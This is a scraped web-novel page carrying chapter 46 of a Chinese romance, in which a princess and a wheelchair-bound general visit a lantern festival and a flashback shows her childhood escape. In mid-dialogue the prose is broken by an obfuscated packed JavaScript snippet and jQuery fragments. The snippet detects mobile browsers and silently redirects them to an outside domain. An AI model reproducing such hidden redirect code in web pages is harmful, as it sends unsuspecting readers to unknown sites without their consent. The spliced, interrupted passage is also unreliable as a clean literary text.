默认冷灰
24号文字
方正启体

46.只我非我

作者:一纸名动京本书字数:K更新时间:
    瞧见萧晏舟的瞬间陆骁还有点惊诧,转念却允了她进屋。在这种情况下,自己进去只会惹允之伤心,她倒是个不错的人选。


    “嘎吱”轻响,天光照耀在陆允之苍白的脸上。只半日,唇边胡茬已泛起青紫,整个人蜷缩着瘫坐在正中的屏风下。房中暗黑如夜,骤然刺眼陆允之微微侧首眯眼好一会儿才看清来人。


    “你怎么来了?”陆允之在看清来人的瞬间下意识想抬袖将整个遮盖住,可又觉得这样手足无措的样子太过狼狈,只好在轻轻的遮掩中彰显自己的从容不迫。


    萧晏舟慢慢走近他,撩起衣袍紧挨着他坐下,没说话,只是侧首看着他。


    海棠清香拂面,陆允之终于慌乱,往边上挪了几步,他一动萧晏舟也跟着动,最终避无可避,他窘迫扯开袖子:“公主这是干什么?我好久没沐浴了。”


    萧晏舟靠的更近了,轻声:“年关将近,听说今日有灯会,陆小将军愿意陪我去吗?”


    陆允之干裂的唇角扬起一抹笑,随即又被压下,狠下心摇摇头:“不去了,公主身边不缺人的。”


    她点点头,低头浅笑,而后透过大开的房门看向远方:“公主确实不缺,可林毓身边缺。”


    陆允之抬眼看她:“你……”随即被打断,两人的眼神在日光飞舞中对望:“你不是想知道林毓的事吗?今夜陪我一会儿,我全都告诉你。”


    萧晏舟起身,在日落时分转身:“我的秘密可不是免费的,想知道得拿今日的秘密来换。”


    寒风依旧冷冽,却挡不住人们的欣喜,披着厚氅,燃着炭火,迎着新年,纷扬大雪也变成了“瑞雪兆丰年”,总之,一切都是美好的。


    陆允之穿了件衬他的深蓝锦袍,出门还前特意熏了香,耽误了些时辰,等他到约定地点时,萧晏舟已经在那了。


    萧晏舟披了件正红的鹤纹披风,平日淡漠疏离的她也因着那抹红色有了点人情味,与兴高采烈的百姓融入地恰到好处。


    陆允之生怕她久等,加快了转轮椅腿的速度。却在还有一段距离时停下,因为萧晏舟回头。


    顺势接过轮椅往前,萧晏舟干得格外顺手。


    两人顺着人流在熙攘中穿梭,陆允之率先指着不远处的芙蓉花灯:“看,那盏灯衬你。”正逢路过孩童的烟火炸开,萧晏舟没没听清他说的话,只好伏身,耳朵贴近他:“你说什么,刚刚烟火太吵了!”


    陆允之凑近她的耳朵高声:“我说,你今日很好看!”


    萧晏舟点点头,轻笑着往前推:“不错啊,有眼光。”


    没曾想,他却仰头看着萧晏舟,一脸委屈样:“我都夸你了,你怎么不夸夸我好看?”


    “啊?”萧晏舟有一瞬间的怔愣,很快就反应过来,将轮椅靠在一棵高大的槐树下,蹲下与陆允之视线平齐,珍之重之:“陆大人也今日也很好看。”


    陆允之静静听着吹捧,话语却戛然而止:“没啦?就这样?”


    萧晏舟疑惑:“对啊,难不成还有什么?”


    更气了,不过陆允之也只是轻声道了句:“呆子。”不甘心似的悠远地瞪了她一眼,“罢了罢了,不与你计较。走,去前面看看花灯,看本将军为你拔得头筹!”


    萧晏舟看着他绯红的耳尖也不拆穿他,快步跟上。


    挤过人潮,两人来到花灯铺前,陆允之指着顶上最高的芙蓉灯:“好看吗?”


    她点点头,趁着周围的夜灯烟火,仔细观摩一番,确是做工精细,花瓣上的水滴都栩栩如神,不像是寻常花灯画上去的,于是开口询问:“掌柜的,这不是寻常花灯吧?”


    掌柜一听,开心的拍了拍大腿,暗自高兴自己的巧思终于有人发现了:“这位姑娘好眼光,这是本店独创,绣纹花灯!采用江南特有的刺绣工艺与油纸结合而成,上京独有一家!”


    陆允之上前询问:“那此灯如何取得?”


    掌柜踏上个石凳,高声:“将近年关,本店特在这三日拿出整店之宝——芙蓉绣纹灯,作为灯会猜谜奖励,只要在本店连续猜对十个灯谜,便可拿走这灯!”


    “不过,参与者得交十两银子,才有猜灯谜的资格,每答对一道题都有相应的花灯,输了也有灯,人人有份。”


    人群熙攘,议论纷纷:“十两!这太贵了掌柜的。”


    掌柜一听:“不贵不贵,我这里的灯个顶个的好,你去别家瞧瞧,哪还有我家的这工艺。”


    人群中突然冒出个声音:“我家有!而且便宜,只要五两银子。”


    “五两,走,瞧瞧去。”


    她只觉有些熟悉,没曾想是祝辞,萧晏舟弯腰跟陆允之说了几句话,走上前面对祝辞:“你怎么在这儿?”


    祝辞眼瞧是她,声声没好气儿:“怎么不能,上京还成你家的了?”


    萧晏舟知道这是气她对扬州图谋不轨,笑着摇摇头没在意:“那定价为何比他少了一半?”


    祝辞也不是个不识大体的人,萧晏舟起码是一国公主,该有的尊敬还是得有:“这灯产自扬州,成本不过二三两的样子,这人坐地起价敢在上京开出十两道高价,也就是欺负上京百姓没到过扬州罢。”


    萧晏舟点点头:“确实,本公主也不晓得这东西只值二三两,还以为十两算便宜的。”


    祝辞一脸骄傲,又一个上当受骗的。


    随即萧晏舟又说道:“你不愧是扬州首富啊,生意做到上京来了。”


    “五两并不赚钱,加上运费做工费杂七杂八的,若要赚钱,差不多定价七两左右,十两就太贵了。百姓本就以农为生,这些东西不过是附属,有利可图后人人皆而向往,那何以为农?何以为本?”祝辞瞧着满城欢声的百姓,轻轻道。


    她轻笑点点头:“祝大人目光长远,大汉有你三生有幸。”


    又被夸了,祝辞面上轻咳不露声色,背地里还是很开心:“喜欢吗?喜欢可以送你一盏。”


    声音自身侧传来:“不用,她有。”如同鬼魅般空灵,阴魂不散。


    萧晏舟垂头,只见陆允之手上拎着个芙蓉秀灯,往他身侧一递:“拿刚刚给你赢的。”


    萧晏舟自然接过芙蓉灯,惊讶道:“十道字谜呢,那么快?


    陆允之昂起他高贵的头颅:“十个而已,轻轻松松。”


    身旁的祝辞小声地切了一声:“满脸不屑,这东西我想要多少有多少。”


    陆允之应道:“但她现在手上拿的是我送的。”


    不知道两人在争什么,眼见就要吵起来,萧晏舟赶忙道:“祝老板先忙,我和他还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122557|166197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有事先走一步。”


    说完赶忙推着轮椅走了,绝口不提刚才的事。


    就这样推着走到护城河桥边,看着河中游荡的花灯,上面大多写着都是自己对的逝去,亲人的怀念,小小的一盏灯下诉说着成年的寄托。


    萧晏舟将轮椅固定好,从不远处的商铺借了支笔来在芙蓉灯上写下的两个字——林毓。


    折回陆允之身边,当着他的面将这盏灯推远,轻声说:“你不是想知道林毓的故事吗,想好拿什么东西换了没有?”


    “公主何必拐弯抹角,不就是想知道那天发生了什么吗?我可以告诉你。”陆允之冷笑一声,终于还是开口。


    萧晏舟看着灯远去:“林毓这人,从始至终都是个笑话。”


    “你是不是以为林毓易容占用了公主的身份?不,林毓是我,但我不是林毓。”


    建昭三年,新皇登基不过三年,百废待兴。


    皇后有孕,同时谣言传出言皇后与他人私通有染,玷污皇家血脉,皇帝震怒,褫夺皇后封号,打入冷宫,林氏陨落。


    一年后,诞下一名女婴,封号恒安。


    建昭十一年,乌苏败于陆坤,两国议和,乌苏首领降服,每年进贡战马和锡铁,为表诚意大邯皇帝迎娶圣女为后,普天同庆。


    同年,圣女无意得知无意得知公主恒安聪慧机敏,于是她动手了。


    废后林笙葬生火海,随侍女婢悬于后梁,但公主恒安不知所踪。


    “站住别跑!抓活的!”


    萧晏舟拼命奔跑在杂乱的野草下,身上沾惹昏黑淤泥,却在往后看的瞬间扑倒在地,来不及多想,几乎是跪爬着,她继续往前,牙关咬得死紧,眼泪欲泫,却生生忍住。


    可这时的她还是个孩童,孤身一人,怎么可能轻易逃过追兵的魔爪。


    胡乱的杂草后是越来越多、越来越近的追兵,慌乱中她却听到隔岸的小河长流,忍住哭泣,她不会凫水,但无论如何都不能被抓回去,好不容易才在阿姐和母后的保护下抢出一条命来。


    于是在追兵的眼皮底下,孩童朝湍急的河流纵身一跃,瞬间消失在众人眼皮子底下。


    领头人气急,胡乱将气撒在身边人上,扯过他的领口往河边一踹:“你去看看。”


    那人瞬间吓得腿软,望着飞溅河沫的中心,“扑通”跪在嶙峋石子河滩上,哭喊着扯过领头人的裤腿:“大人,这河水那么急,会死人的呀。”


    领头朝河边恶狠狠淬口吐沫,将人一脚踹开:“来人,送他下去。”


    “大人!大人我不想死啊大人……咕噜咕噜……”空中一道优美的弧线,“扑通”一声,那人消失在河流中央。


    “去下游,主子说了,生要见人,死要见尸。”


    一行人顺着河道往下,连那个被丢下去的人尸体都看到了都没找到一个孩童的尸体。


    “再找!小孩按理说应该在河道最末。将整个河道摸索一遍,连个小孩都找不到,主子怪罪,都难逃一死!”


    在下游肯定找不到,因为她根本没跳。只是将自己的全部的外袍脱下胡乱绕成个人型,裹成一团往河里一甩,若照寻常,这点拙劣的把戏根本瞒不过他们。


    她在赌,赌他们反应不过来,赌他们信自己会跳。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)